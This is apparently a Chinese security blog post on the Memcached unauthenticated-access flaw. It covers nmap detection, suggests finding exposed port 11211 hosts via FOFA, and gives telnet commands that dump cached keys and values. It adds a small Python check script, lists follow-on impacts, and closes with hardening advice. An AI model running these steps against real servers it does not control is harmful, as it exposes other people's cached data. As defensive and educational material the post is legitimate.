linux memcached未授权访问漏洞,Memcache未授权访问漏洞利用及修复

漏洞简介

漏洞名称:Memcache未授权访问漏洞

漏洞描述:memcache未授权访问漏洞,默认的 11211 端口不需要密码即可访问,攻击者可获取数据库中信息,造成严重的信息泄露。

漏洞成因:由于memcached安全设计缺陷,客户端连接memcached服务器后无需认证就可读取、修改服务器缓存内容。

漏洞危害:除memcached中数据可被直接读取泄漏和恶意修改外,由于memcached中的数据像正常网站用户访问提交变量一样会被后端代码处理,当处理代码存在缺陷时会再次导致不同类型的安全问题。

漏洞验证

漏洞探测:

nmap -sV -p 11211 –script memcached-info <target>

漏洞验证:

当系统存在11211端口(此处从fofa.so搜索port = “11211”)

telnet连接目标11211端口

# stats  //查看memcache 服务状态
# stats items  //查看所有items
# stats cachedump 32 0  //获得缓存key
# get :state:264861539228401373:261588   //通过key读取相应value ,获得实际缓存内容,造成敏感信息泄露
图片[1]-linux memcached未授权访问漏洞,Memcache未授权访问漏洞利用及修复-渗透云记 - 专注于网络安全与技术分享

漏洞利用POC:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import socket
def Memcache_check(ip, port=11211, timeout=30):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("stats\r\n")
        result = s.recv(1024)
        print result
        if "STAT version" in result:
            print '[+] Memcache Unauthorized: ' +ip+':'+str(port)
    except Exception, e:
        print 'time out error'
        pass
if __name__ == '__main__':
    Memcache_check("x.x.x.x")

Escape character is ‘^]’什么意思?怎么使用telnet

[root@aliyunbaike ~]# telnet 47.95.88.99 80
Trying 47.95.88.99…
Connected to 47.95.88.99.
Escape character is ‘^]’.
^]
telnet>
//"telnet>"代表进入了telnet命令行窗口

简而言之就是 按 ctrl + ]

漏洞危害

(1)缓存数据未经过滤直接输出可导致XSS;

(2)缓存数据未经过滤代入拼接的SQL注入查询语句可导致SQL注入;

(3)缓存数据存储敏感信息(如:用户名、密码),可以通过读取操作直接泄漏;

(4)缓存数据未经过滤直接通过system()、eval()等函数处理可导致命令执行;

(5)缓存数据未经过滤直接在header()函数中输出,可导致CRLF漏洞(HTTP响应拆分)。

漏洞修复

整改建议:

1.限制访问

如果memcache没有对外访问的必要,可在memcached启动的时候指定绑定的ip地址。

2.使用最小化权限账号运行Memcached服务

使用普通权限账号运行,指定Memcached用户。

3.启用认证功能

Memcached本身没有做验证访问模块,Memcached从1.4.3版本开始,能支持SASL认证。

4.修改默认端口

修改默认11211监听端口为11222端口。

本文参考:

http://www.cnblogs.com/TiramisuPS/p/16476083.html

© 版权声明
THE END
喜欢就支持一下吧
点赞14 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容